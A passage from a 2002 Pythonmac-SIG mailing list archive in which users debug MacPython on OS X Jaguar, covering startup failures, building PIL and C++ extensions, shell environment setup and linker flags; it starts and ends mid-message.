  File "Marvin:Applications (Mac OS 9):Python
2.2:Lib:xml:dom:expatbuilder.py", line 119, in getParser
    self._parser = self.createParser()
  File "Marvin:Applications (Mac OS 9):Python
2.2:Lib:xml:dom:expatbuilder.py", line 734, in createParser
    parser.namespace_prefixes = True
AttributeError: namespace_prefixes

Some of these error messages and line numbers don't seem to correspond
with the actual files themselves, and the debugger tells me that it
can't find the expatbuilder.py file.

I quit Python, took out the xml folder, renamed 'oldxml' back to 'xml',
thinking that this would restore things to the way they were, and I get
the same error messages.

Any clues as to what is happening here? The PyXML documents state that
the minidom package is the same as the Python distribution, so I can't
see why this change occured.

Josh English
english@spiritone.com



From owen@astro.washington.edu  Tue Oct  8 17:26:07 2002
From: owen@astro.washington.edu (Russell E Owen)
Date: Tue, 8 Oct 2002 09:26:07 -0700
Subject: [Pythonmac-SIG] Newbie environment var problem
In-Reply-To: <20021008160003.10114.41384.Mailman@mail.python.org>
References: <20021008160003.10114.41384.Mailman@mail.python.org>
Message-ID: <p05111a03b9c8b3b42a42@[128.95.99.44]>

Alan Dyck wrote:

>Right now whenever I want to harness the power of Python I paste in 
>these two lines:
>setenv PATH "${PATH}:/Applications/Python/bin"
>setenv PYTHONPATH "/Users/alandyck/pythonscripts"
>I have read many conflicting hints of how to get these commands into 
>a config or resource file for Terminal (tcsh?). Can someone tell me 
>how to do it?

You want to edit (or if it doesn't exist, then create) a file named 
.cshrc that lives in your home directory. To see if it exists, use 
the "ls -a" command (this includes invisible files that start with a 
period). Here's a portion of my .cshrc, somewhat modified (I normally 
use Pepper, not BBEdit). You will have to modify your paths to suit 
your own needs:

# uncomment the following if using fink:
# source /sw/bin/init.csh
# the following lets me use manually installed versions
# of unix software to override the stuff supplied with Jaguar;
# in particular, I use my own home-built Python
# with readlines and Tkinter support;
# you probably won't want this if you are using fink
# to install unix utilities, but fink isn't yet Jaguar-compatible:
setenv PATH "/usr/local/bin:"$PATH
# point to your source code, wherever you put them
setenv PYTHONPATH "/Users/rowen/PythonRO:"
# if you own BBEdit, this will integrate it into unix:
setenv EDITOR "bbedit -w"
# the following may be useful if you do X-based stuff
# e.g. Tkinter (pre-aqua version) with Python
if( ! $?DISPLAY ) setenv DISPLAY :0.0

One nice way to edit .cshrc is to use BBEdit or BBEdit Lite (free). 
Make sure you specify unix line endings (look through the toolbar at 
the top of the window). You can also use a unix editor such as vi, 
but it's handy to have a reference around (or a friend who knows 
unix).

As of Python 2.2.1 the unix command line python requires unix line 
endings for your source code. I think python 2.3 will be more 
flexible (MacPython 2.2.1 is already flexible but doesn't run from 
the command line). If you need a utility to batch-convert, I'll be 
happy to email you one (contact me privately).

-- Russell


From Chris.Barker@noaa.gov  Tue Oct  8 19:22:28 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Tue, 8 Oct 2002 11:22:28 -0700
Subject: [Pythonmac-SIG] compiling PIL on OS-X.2: Jaguar
In-Reply-To: <30967722-DA89-11D6-8F80-0003935458F6@epoz.org>
Message-ID: <E6E85E47-DAEA-11D6-AFBE-000393A96660@noaa.gov>

On Monday, October 7, 2002, at 11:43 PM, Etienne Posthumus wrote:
> At this moment no-one knows why. Rest assured that you are not the 
> only one seeing those weird error messages, and that other modules are 
> also affected by it.
> You can try removing the offending flag from 
> /usr/lib/python2.2/config/Makefile

I can't explain why, but I kind of wanted to get it working with the 
default Python, so i took the :
"-arch i386" out of the Make file, and PIL now seems to build just 
fine, except I still don't seem to have jpeg support (which I'll need 
some day, but not now)

> Let's hope that there is an Apple provided software update to Python 
> with a newer version including all the goodness done by the Pythonmac 
> people.

Yes, let's hope. Or even better, does anyone know who we can lobby to 
get an official Apple update to fix a few of these things in Python. 
It's silly, but it really makes it easier for me to use Python at work 
if Apple is providing it! It gives it an air of legitimacy.

Thanks for all you help. Now on to readline!

-Chris






From ep@epoz.org  Tue Oct  8 19:58:33 2002
From: ep@epoz.org (Etienne Posthumus)
Date: Tue, 8 Oct 2002 20:58:33 +0200
Subject: [Pythonmac-SIG] compiling PIL on OS-X.2: Jaguar
In-Reply-To: <E6E85E47-DAEA-11D6-AFBE-000393A96660@noaa.gov>
Message-ID: <F15BB2B8-DAEF-11D6-93CA-0003935458F6@epoz.org>

On dinsdag, okt 8, 2002, at 20:22 Europe/Amsterdam, Chris Barker wrote:
> Thanks for all you help. Now on to readline!

If you have a look at this link:
http://radio.weblogs.com/0100490/2002/09/25.html#a282
is a Python module to add readline support to the built-in Jaguar 
Python using the readline framework from the updated Developer tools.

Packaging done by Bill Bumgarner, I quote from the link:
"Unfortunately, Apple could not ship the readline module with Python 
because that particular module is based on GPL'd code. Of course, code 
under the GPL isn't actually free and, as such, the entire core 
operating system cannot contain any non-free or non-Apple owned code.

The dev tools-- an add on module on top OS X-- can and does include 
lots of binaries compiled from GPL'd code. Conveniently, it also 
includes the readline library.

So, one short setup.py later, I now have readline support for OS X. You 
can to. Just download this little tarball (5.5k).

Once uncompressed, go into the resulting folder in Terminal and sudo 
/usr/bin/python setup.py install. You'll now have readline support when 
using the python interpreter at the command line!"

Very useful, it worked fine for me, but you need the LATEST devtools to 
get the readline framework.

gr.

EP



From Chris.Barker@noaa.gov  Tue Oct  8 23:01:03 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Tue, 8 Oct 2002 15:01:03 -0700
Subject: [Pythonmac-SIG] C++ extension on OS-X Jaguar
In-Reply-To: <F15BB2B8-DAEF-11D6-93CA-0003935458F6@epoz.org>
Message-ID: <70043964-DB09-11D6-ADF4-000393A96660@noaa.gov>

Hi all,

I'm trying to get a program I have been working on to run under the 
Python 2.2 that came pre-installed with Jaguar. I finally got all the 
major modules installed that I needed (Numeric, PIL, mxDateTime), but 
now I'm having problems compiling my own extensions.

I have all this working under Linux and Windows so far.

The two I have that are written in C worked just fine out of the box, 
compiled with the setup.py script I wrote under linux. The third, 
written in C++, seems to compile just fine, but I can't load it. I get 
a:

ImportError: Failure linking new module

When It compiles, I get the following message:

running build
running build_ext
building 'CalcPolygons' extension
gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -no-cpp-precomp 
-I/usr/include/python2.2 -c CalcPolygons.cpp -o 
build/temp.darwin-6.1-Power Macintosh-2.2/CalcPolygons.o
gcc -arch ppc -bundle -flat_namespace -undefined suppress 
build/temp.darwin-6.1-Power Macintosh-2.2/CalcPolygons.o -o 
build/lib.darwin-6.1-Power Macintosh-2.2/CalcPolygons.so

The init function looks like this:


extern "C" void initCalcPolygons()

{
   (void) Py_InitModule("CalcPolygons", CalcPolygonsMethods);
   import_array()
}

Pretty straightforward.

My setup.py script is about as simple as it can be:

from distutils.core import setup, Extension

module1 = Extension('CalcPolygons',
                     sources = ['CalcPolygons.cpp'])

setup (name = 'CalcPolygons',
        version = '1.0',
        description = 'This is a tap package',
        ext_modules = [module1])


Anyone have any ideas??

-Chris


Christopher Barker, Ph.D.
Oceanographer
                                     		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov



From stephenm@humongous.com  Wed Oct  9 17:12:09 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Wed, 9 Oct 2002 09:12:09 -0700
Subject: [Pythonmac-SIG] Question about which libraries to use in making a c extension
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE855@sea-horse.humongous.com>

I trying to build a c extension and running into some problem with c
exceptions. There is an open line of communication between Python and my c
extension. Calls happen from my C code to my Python Code and visa versa. The
problem I am dealing with is asserts in my c code do not trigger. Even
assert(0); in my c extension doesn't stop execution. Here is a list of which
files I link to in order.

GUSIConfig_MTINET.cp
GUSI_SIOUX.CW7.Carb.Lib
GUSI_Core.CW7.Carb.Lib
GUSI_MSL.CW7.Carb.Lib
PythonCoreCarbon
(my source files)
MSL_All_Carbon.Lib


Does someone see a missing library that would get my c asserts up and going?


Thanks,


Stephen Magladry





From stephenm@humongous.com  Wed Oct  9 19:27:55 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Wed, 9 Oct 2002 11:27:55 -0700
Subject: [Pythonmac-SIG] RE: Question about which libraries to use in making a c extension
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE857@sea-horse.humongous.com>

Okay, I got it. 2  things held me back. First I need to #udef NDEBUG
otherwise assert defined to ((void)0). Secondly, MSL_All_Carbon.Lib needed
to be replaced with MSL_ShLibRuntime_PPC.Lib. that was it.


>  -----Original Message-----
> From: 	Magladry, Stephen  
> Sent:	Wednesday, October 09, 2002 9:12 AM
> To:	'pythonmac-sig@python.org'
> Subject:	Question about which libraries to use in making a c
> extension
> 
> I trying to build a c extension and running into some problem with c
> exceptions. There is an open line of communication between Python and my c
> extension. Calls happen from my C code to my Python Code and visa versa.
> The problem I am dealing with is asserts in my c code do not trigger. Even
> assert(0); in my c extension doesn't stop execution. Here is a list of
> which files I link to in order.
> 
> GUSIConfig_MTINET.cp
> GUSI_SIOUX.CW7.Carb.Lib
> GUSI_Core.CW7.Carb.Lib
> GUSI_MSL.CW7.Carb.Lib
> PythonCoreCarbon
> (my source files)
> MSL_All_Carbon.Lib
> 
> 
> Does someone see a missing library that would get my c asserts up and
> going?
> 
> 
> Thanks,
> 
> 
> Stephen Magladry
> 
> 
> 


From niel_mayhew@mac.com  Wed Oct  9 23:10:10 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Wed, 09 Oct 2002 16:10:10 -0600
Subject: [Pythonmac-SIG] MacPython on jaguar
Message-ID: <B9CA0562.6C7D%niel_mayhew@mac.com>

Hi,

I'm getting some strange problems installing and using MacPython on Jaguar.
I've spent a long time looking at this, and I hesitate to bother you guys
with it, but I do feel that something very strange is going on, and my
suspicion is that I have found a bug in Jaguar.

I realize that I could use MachO Python, but I like the MacPython IDE, and I
need to create CFM-carbon applets that I can distribute to OS 9 users. I
can't use the Unix python because I need some Mac-specific features.

My main problem is related to a symptom that has been noted before (I
checked the archives, and also the MacPython home page, under Note 5). In
Jack's words, I get "an empty window with a <<Terminated>> titlebar".
However, I don't just get this with ConfigurePythonCarbon, and the
preferences file is definitely not the problem. (I opened the preferences
with Resorcerer and checked the alias to the Python folder; I've also tried
various ways of deleting and recreating it).

I get the problem with just about any Python CFM-binary, including
PythonInterpreter, and sometimes Python IDE. I also built a Hello-World
applet using BuildApplet, and get the same problem. The strange thing is
that the problem is not consistent. Applets will work for a while and then
stop, or start working again after a while. Logging out and in sometimes
gets things going, and even a reboot sometimes helps. Even stranger is the
fact that, after I used BuildApplication on the Hello-World script, my
applet built with BuildApplet started working again! Even though I hadn't
rebuilt it.

I have looked at the MacPython source code, and examined the binaries with
PEFViewer, and can't find any clues. I have deleted and reinstalled
MacPython 2.2.1 several times. I have finally got it working (I think) on my
G4 iMac at home (also running Jaguar) but I cannot make any headway on my
dual-processor 1.25GHz at work. This really makes me wonder whether Jaguar
has a problem with CFM shared libraries on dual-processor machines. This
idea is strengthened by the fact that my colleague, running on an identical
G4 tower, has had strange problems with REALbasic programs that work one day
and not the next, and then start working again after a reboot (and not after
a logout). There are very few things in OS X that require a reboot to reset
them!

I've also had a couple of minor problems that seem unrelated, but might not
be, so I'll mention them briefly. One is that the ConfigurePythonCarbon
process fails when trying to 'touch' the /Library/CFM Support directory,
because I am not the owner (although it can create and touch the copy of
PythonCoreCarbon because the directory has group-write permission and I am
in group admin). I fixed this by putting a try around the call to SetDates
in touched() in $(PYTHON):Mac:Lib:macostools.py. However, my <<Terminated>>
problem _seems_ to be independent of this mod.

The other minor -- but strange -- problem is that enabling site.py makes
applications start up *very* slowly (in the 2-5 seconds range). I eventually
traced the problem to a call to os.stat() on :Lib, from os.path.exists(),
from the code in site.py that weeds out unreachable directories in sys.path.
This call is responsible for the whole of the delay, even though other calls
to stat other directories (eg :Lib:lib-dynload) run at normal speed. I
wasn't able to find out why the call to stat is so slow. Executing os.stat
on the same directory from Unix Python running in the Terminal is fine.

I apologize for the length of this message, but I felt it was better to give
you all the info once rather than having useless messages running back and
forth asking for more info. I am running 10.2.1 on a 2x1.25GHz with 1024Mb
RAM.

If any of you guys can help, I'd be very grateful, as this problem is
driving me nuts!

Thanks,

Neil Mayhew
Calgary, Alberta, Canada

(Spell my name correctly to reply direct)



From jhrsn@pitt.edu  Thu Oct 10 02:14:38 2002
From: jhrsn@pitt.edu (Jim Harrison)
Date: Wed, 09 Oct 2002 21:14:38 -0400
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <B9CA0562.6C7D%niel_mayhew@mac.com>
Message-ID: <B9CA4CBE.15100%jhrsn@pitt.edu>

on 10/9/02 6:10 PM, Neil Mayhew at niel_mayhew@mac.com wrote:

> My main problem is related to a symptom that has been noted before (I
> checked the archives, and also the MacPython home page, under Note 5). In
> Jack's words, I get "an empty window with a <<Terminated>> titlebar".
> However, I don't just get this with ConfigurePythonCarbon, and the
> preferences file is definitely not the problem. (I opened the preferences
> with Resorcerer and checked the alias to the Python folder; I've also tried
> various ways of deleting and recreating it).
> 
> I get the problem with just about any Python CFM-binary, including
> PythonInterpreter, and sometimes Python IDE. I also built a Hello-World
> applet using BuildApplet, and get the same problem. The strange thing is
> that the problem is not consistent. Applets will work for a while and then
> stop, or start working again after a while.

I see the identical characteristics using 10.2.1 on a 550MHz TiBook, except
that the IDE always runs normally. The interpreter never runs on
double-clicking a script or double-clicking the interpreter itself (it
yields <<Terminated>> in both cases) but it runs in the intermittent manner
described above when a script is dragged onto the interpreter. Sometimes
attempting to run a script by double-clicking seems to stimulate the failure
of the drag-and-drop method (yielding <<Terminated>>). Once that happens, a
script will consistently fail to execute on drag-and-drop. Sometime later
after variable intermediate events, the script will become functional on
drag-and-drop again.

I haven't had a chance to pursue this to the extent that Niel did, or to
localize the code contributing to problems. I had wondered whether the
difference between drag-and-drop and double-clicking the same file was
related to Apple Event handling in 10.2, or perhaps unstable sequencing of
several events that occur at program startup.

Jim Harrison
Univ. of Pittsburgh


From Jack.Jansen@cwi.nl  Thu Oct 10 09:34:26 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Thu, 10 Oct 2002 10:34:26 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <B9CA0562.6C7D%niel_mayhew@mac.com>
Message-ID: <16422FBA-DC2B-11D6-AA09-0030655234CE@cwi.nl>

On Thursday, Oct 10, 2002, at 00:10 Europe/Amsterdam, Neil Mayhew wrote:
> I'm getting some strange problems installing and using MacPython on 
> Jaguar.
> I've spent a long time looking at this, and I hesitate to bother you 
> guys
> with it, but I do feel that something very strange is going on, and my
> suspicion is that I have found a bug in Jaguar.

I would like to encourage *everyone* to dump their findings, 
suspicions, pet theories and anything else related to the problem to 
this mailing list. MacPython 2.2.2 is imminent and I would like to sort 
this problem out before building that distirbution (even though it 
means that MacPython 222 may have to be built from a slightly different 
sourcetree than standard 2.2.2).

I hope to find time to investigate some more myself later today, and 
any hints are welcome.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From just@letterror.com  Thu Oct 10 09:52:22 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 10 Oct 2002 10:52:22 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <16422FBA-DC2B-11D6-AA09-0030655234CE@cwi.nl>
Message-ID: <r01050400-1021-990595EADC2D11D6B586003065D5E7E4@[10.0.0.23]>

I've seen the symptoms many times, with EditPythonPrefs and PythonIDE (not 100%
sure about PythonInterpreter), but mostly under 10.1.x (as I haven't been using
MacPython all that much yet under Jaguar). It always helped to zap the
preferences, although I don't recall whether it was "official" Python prefs file
or the .plist. I'll keep my eyes open and experiment a bit.

Just


From just@letterror.com  Thu Oct 10 10:07:03 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 10 Oct 2002 11:07:03 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <r01050400-1021-990595EADC2D11D6B586003065D5E7E4@[10.0.0.23]>
Message-ID: <r01050400-1021-A5CF3BA4DC2F11D6B586003065D5E7E4@[10.0.0.23]>

Ok, here's what currently happens on a pretty much vanilla MacPython 2.2.1
install (slightly different trigger, but the symptom is the same):

- double-clicking EditPythonPrefs: fine, no problem
- dropping Python IDE or PythonInterpreter onto EditPythonPrefs: <<terminated>>
- dropping BuildApplet or BuildApplication onto EditPythonPrefs: no problem
- dropping random files onto EditPythonPrefs: random but consistent results,
  I can't see a pattern yet.

Removing "~/Library/Preferences/Python/Python 2.1.1 Preferences" does not help.

I can't get it to work no matter what pref file/plist I remove.

Just


From Jack.Jansen@cwi.nl  Thu Oct 10 15:09:57 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Thu, 10 Oct 2002 16:09:57 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <r01050400-1021-990595EADC2D11D6B586003065D5E7E4@[10.0.0.23]>
Message-ID: <F52A076B-DC59-11D6-AA09-0030655234CE@cwi.nl>

On Thursday, Oct 10, 2002, at 10:52 Europe/Amsterdam, Just van Rossum 
wrote:

> I've seen the symptoms many times, with EditPythonPrefs and PythonIDE 
> (not 100%
> sure about PythonInterpreter), but mostly under 10.1.x

Under 10.1??!? That would mean that whatever the problem isn't 100% 
jaguar-related, it may only be that Jaguar triggers it more easily.

I'm surprised, I've never seen this problem. But then, I don't run 
MacPython under OSX all that often...

Is there anyone here who can run the CodeWarrior debugger under Jaguar? 
(I haven't tried yet, but I heard reports that the CW6 debugger (or 
maybe even the whole CW6 IDE) doesn't run under Jaguar)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From Jack.Jansen@cwi.nl  Thu Oct 10 15:14:15 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Thu, 10 Oct 2002 16:14:15 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <r01050400-1021-A5CF3BA4DC2F11D6B586003065D5E7E4@[10.0.0.23]>
Message-ID: <8F0F58A6-DC5A-11D6-AA09-0030655234CE@cwi.nl>

On Thursday, Oct 10, 2002, at 11:07 Europe/Amsterdam, Just van Rossum 
wrote:

> Ok, here's what currently happens on a pretty much vanilla MacPython 
> 2.2.1
> install (slightly different trigger, but the symptom is the same):
>
> - double-clicking EditPythonPrefs: fine, no problem
> - dropping Python IDE or PythonInterpreter onto EditPythonPrefs: 
> <<terminated>>
> - dropping BuildApplet or BuildApplication onto EditPythonPrefs: no 
> problem
> - dropping random files onto EditPythonPrefs: random but consistent 
> results,
>   I can't see a pattern yet.

All these work fine for me, as Murphy's Law would suggest (MacPython 
2.2.1, OSX 10.2.1).

My hunch (so far) is that the problem is with the sys.argv emulation 
code. Some people reported that turning off argv emulation made a 
difference. As an experiment, could you rename "Python IDE" to 
"BuildApplet" and vice versa, and see what the results are then? I.e. 
does the problem stick with the program or with the filename?

Hmm, other interesting thought: could the people who have a way to 
*consistently* get the <<terminated>> window tell me the exact filename 
of both the file dropped and the application onto which is what dropped?
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From just@letterror.com  Thu Oct 10 15:27:22 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 10 Oct 2002 16:27:22 +0200
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <8F0F58A6-DC5A-11D6-AA09-0030655234CE@cwi.nl>
Message-ID: <r01050400-1021-65ADE960DC5C11D6B586003065D5E7E4@[10.0.0.23]>

Jack Jansen wrote:

>=20
> On Thursday, Oct 10, 2002, at 11:07 Europe/Amsterdam, Just van Rossum=20
> wrote:
>=20
> > Ok, here's what currently happens on a pretty much vanilla MacPython=20
> > 2.2.1
> > install (slightly different trigger, but the symptom is the same):
> >
> > - double-clicking EditPythonPrefs: fine, no problem
> > - dropping Python IDE or PythonInterpreter onto EditPythonPrefs:=20
> > <<terminated>>
> > - dropping BuildApplet or BuildApplication onto EditPythonPrefs: no=20
> > problem
> > - dropping random files onto EditPythonPrefs: random but consistent=20
> > results,
> >   I can't see a pattern yet.
>=20
> All these work fine for me, as Murphy's Law would suggest (MacPython=20
> 2.2.1, OSX 10.2.1).
>=20
> My hunch (so far) is that the problem is with the sys.argv emulation=20
> code. Some people reported that turning off argv emulation made a=20
> difference. As an experiment, could you rename "Python IDE" to=20
> "BuildApplet" and vice versa, and see what the results are then? I.e.=20
> does the problem stick with the program or with the filename?
>=20
> Hmm, other interesting thought: could the people who have a way to=20
> *consistently* get the <<terminated>> window tell me the exact filename=
=20
> of both the file dropped and the application onto which is what dropped=
?

I changed some filenames: no change in the above effects.

However: if I remove the Popt and GU=85I resources manually from the
EditPythonPrefs applet the problem is *gone*. So my hunch is that it has =
to do
with the reading of the prefs resources, possibly in GUSI.

Just


From skip@pobox.com  Thu Oct 10 16:11:30 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 10 Oct 2002 10:11:30 -0500
Subject: [Pythonmac-SIG] -R, -L, ldd, and the meaning of life...
Message-ID: <15781.39074.351014.338997@montanaro.dyndns.org>

In much of the Unixoid world, link editors understand a -R flag and/or an
LD_RUN_PATH environment variable (or something similar).  One or the other
tell the run-time linker to search the argument director(y|ies) for shared
libraries.  For example, when linking the bsddb module, you need to tell the
linker where to find the Berkeley DB shared library.  The -L flag tells the
static linker this, but you still need some way to tell the run-time linker
(called at the time you import bsddb).  On Linux and Solaris (and probably
other platforms), at least when using the GNU tools, the -R flag serves this
purpose.

The linker in MacOSX doesn't support -R.  Does -L serve both functions,
telling both the static linker where to find libraries and recording
information in the .so file which tells the run-time linker where these
other libraries were found?  In distutils' unixccompiler module I punted on
this issue:

    def runtime_library_dir_option(self, dir):
        # XXX Hackish, at the very least.  See Python bug #445902:
        # http://sourceforge.net/tracker/index.php
        #   ?func=detail&aid=445902&group_id=5470&atid=105470
        # Linkers on different platforms need different options to
        # specify that directories need to be added to the list of
        # directories searched for dependencies when a dynamic library
        # is sought.  GCC has to be told to pass the -R option through
        # to the linker, whereas other compilers just know this.
        # Other compilers may need something slightly different.  At
        # this time, there's no way to determine this information from
        # the configuration data stored in the Python installation, so
        # we use this hack.
        compiler = os.path.basename(sysconfig.get_config_var("CC"))
        if sys.platform[:6] == "darwin":
            # MacOSX's linker doesn't understand the -R flag at all
            return "-L" + dir
        elif compiler == "gcc" or compiler == "g++":
            return "-Wl,-R" + dir
        else:
            return "-R" + dir

Was that the correct punt?

Also, is there a MacOSX equivalent of the ldd command?  On Linux and Solaris
it displays the library dependencies for a dynamically linked executable or
shared object, e.g.:

    $ ldd python
            libdl.so.2 => /lib/libdl.so.2 (0x40027000)
            libpthread.so.0 => /lib/i686/libpthread.so.0 (0x4002b000)
            libutil.so.1 => /lib/libutil.so.1 (0x4003f000)
            libm.so.6 => /lib/i686/libm.so.6 (0x40042000)
            libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
            /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Thx,

-- 
Skip Montanaro - skip@pobox.com
"Airplanes don't fly until the paperwork equals the weight of the
aircraft. Same with i18N." - from the "Perl, Unicode and i18N FAQ"


From skip@pobox.com  Thu Oct 10 15:04:17 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 10 Oct 2002 09:04:17 -0500
Subject: [Pythonmac-SIG] AquaTk?
Message-ID: <15781.35041.478957.835539@montanaro.dyndns.org>

I'm just getting started with Python on MacOSX (10.2.1 actually).  So far
I've just been building vanilla Python.  I want to now build a version with
the relevant Mac bells-n-whistles.  In looking at the Mac/OSX/README file, I
saw references to several extra packages: Waste, AquaTk and pyobjc.  I found
Waste and pyobjc, but haven't been able to track down AquaTk.  Where does it
live?  Any other little tricks I should know?

Thx,

-- 
Skip Montanaro - skip@pobox.com
"Airplanes don't fly until the paperwork equals the weight of the
aircraft. Same with i18N." - from the "Perl, Unicode and i18N FAQ"


From niel_mayhew@mac.com  Thu Oct 10 17:16:45 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Thu, 10 Oct 2002 10:16:45 -0600
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <16422FBA-DC2B-11D6-AA09-0030655234CE@cwi.nl>
Message-ID: <B9CB040D.6CB0%niel_mayhew@mac.com>

on 10/10/2002 2:34 AM, Jack Jansen wrote:

> I would like to encourage *everyone* to dump their findings,
> suspicions, pet theories and anything else related to the problem to
> this mailing list.

Seems like I was a bit hasty in attributing the problems to the use of a
dual-processor machine. I checked again on my iMac last night and found tha=
t
the problem does occur there too, just not as often. In fact, my Hello-Worl=
d
applet worked about 50% of the time, and this variability suggests to me
that the problem is timing-related. Also, I found that PythonInterpreter
would work once after a reboot, and then no more. Again, this could be
timing-related. And the fact that my 1.25GHz G4 has more problems than my
800MHz iMac.

Jim Harrison mentioned =B3Apple Event handling in 10.2, or perhaps unstable
sequencing of several events that occur at program startup,=B2 and the more I
think about it the more plausible this seems. Could it be that 10.2 is
sending the OAPP/ODOC events sooner than on 10.1, and that somehow the
events are being missed? I've tried using an AppleScript to send the events=
,
and artificially slow things down, but AppleScript won't give me the contro=
l
I need (I'd have to do it from C++). I noticed, when working on another
(C++) program, that OS X sends a different set of events from OS 9, in
particular the 'launch' event, and I had to modify my program to handle thi=
s
event gracefully in order to avoid problems. [I think the event was
kASLaunchEvent ('noop')]

> Hmm, other interesting thought: could the people who have a way to
> *consistently* get the <<terminated>> window tell me the exact filename
> of both the file dropped and the application onto which is what dropped?

I've had no problems with EditPythonPrefs, it always runs for me, either by
double-clicking, or by dropping other applets onto it. I consistently get
the <<terminated>> window by double-clicking PythonInterpreter, almost neve=
r
by double-clicking Python IDE.

I tried dropping PythonInterpreter onto EditPythonPrefs, and then
double-clicking PythonInterpreter. The interpreter worked, but only once --
it failed every time after that. Then I dropped it onto EditPythonPrefs
again, and it worked once. I repeated this several times, and got the same
pattern. Now, however, a few minutes later, EditPythonPrefs is unable to
make PythonInterpreter work again. Dropping another one of my applets
doesn't have any effect -- the applet always fails.

I've also been getting it consistently whenever I drop a script onto
PythonInterpreter (and I've tried lots of different scripts), or when I
double-click a script owned by PythonInterpreter. However, for a few
minutes, it was working every time. Now it's stopped again.

My Hello applet, built using BuildApplet, works sometimes, and then doesn't
work seconds afterwards. Another applet, with 170 lines of code in it, neve=
r
works. Both of them work consistently when built into a full application
using BuildApplication.

I used MacPython a lot on my G3/350 tower running 10.1, and never saw any o=
f
these problems. Again, it could be speed related (10.1 seems pretty slow on
a G3/350).

FYI, I found that the problem with site.py (os.stat causing a slowdown)
doesn't happen on my iMac, only on my tower.

> Is there anyone here who can run the CodeWarrior debugger under Jaguar?
> (I haven't tried yet, but I heard reports that the CW6 debugger (or
> maybe even the whole CW6 IDE) doesn't run under Jaguar)

I do have CW8.2, but I haven't tried running the debugger yet. If I can
help, let me know. However, if the problem is indeed timing-related, the
debugger probably won't help.

--Neil

PS My 'From:' addresses is deliberately misspelled, in order to defeat
spammers. Sorry if you're getting bounces.



From marcus.h.mendenhall@vanderbilt.edu  Thu Oct 10 17:19:22 2002
From: marcus.h.mendenhall@vanderbilt.edu (Marcus Mendenhall)
Date: Thu, 10 Oct 2002 11:19:22 -0500
Subject: [Pythonmac-SIG] Re: cannot start IDE, etc. on 10.x.x
In-Reply-To: <20021010160003.30003.51410.Mailman@mail.python.org>
Message-ID: <092ED34E-DC6C-11D6-BF0C-003065A81A70@vanderbilt.edu>

I have also had this problem, and narrowed it down a little, at least on 
my machine.

If I have a broken ("terminated" on startup) IDE, and remove all the 
keys relating to window positions in the "Python IDE.plist", everything 
is fine (throwing out the plist is a 100% fix, too).  Some of the 
remembered window positions from the IDE are clearly trashed.  I have 
not looked at which one, but whoever is responsible for writing these is 
clearly leaving trash somewhere.

Marcus Mendenhall



From jhrsn@pitt.edu  Thu Oct 10 17:22:52 2002
From: jhrsn@pitt.edu (Jim Harrison)
Date: Thu, 10 Oct 2002 12:22:52 -0400
Subject: [Pythonmac-SIG] MacPython on jaguar
In-Reply-To: <8F0F58A6-DC5A-11D6-AA09-0030655234CE@cwi.nl>
Message-ID: <B9CB219C.1521E%jhrsn@pitt.edu>

on 10/10/02 10:14 AM, Jack Jansen at Jack.Jansen@cwi.nl wrote:

> Hmm, other interesting thought: could the people who have a way to
> *consistently* get the <<terminated>> window tell me the exact =
filename
> of both the file dropped and the application onto which is what =
dropped?

Recent vanilla Python 2.2.1 install in /Applications, TiBook 550/OSX =
10.2.1

Double click IDE --> Runs
Double click PythonInterpreter --> <<Terminated>> (consistently =
repeatable)
Double click EditPythonPrefs --> <<Terminated>>
Drag hw.py in Python2.1.1 folder onto PythonInterpreter --> =
<<Terminated>>
   (hw is the prototypical one-liner: print "Hello, World!")
Drag other scripts in other locations onto PythonInterpreter -->
<<Terminated>>
Drag hw.py onto PythonIDE --> opens in editor and runs with "Run all"
Drag other scripts in other locations to IDE --> open and run with "Run =
all"

All of the above are consistently repeatable in this session. I have =
seen
some scripts run when dragged to the PythonInterpreter in the past (and =
fail
later, or fail at first and run later), but I wasn=B9t able to =
reproduce that
today.

Throw away Python preferences folder in ~/Library/Preferences

Double click EditPythonPrefs --> **Runs normally now** (repeatable)
Double click PythonInterpreter --> <<Terminated>>
Drag hw.py to PythonInterpreter --> <<Terminated>>
IDE runs normally as above

Try throwing away Python prefs folder and then running =
PythonInterpreter:
still consistently <<Terminated>>. EditPythonPrefs runs OK.

I also tried the above with no other user programs running (nothing in =
Force
Quit window except Finder) with no change in results.

In summary, the IDE consistently works correctly, the Interpreter
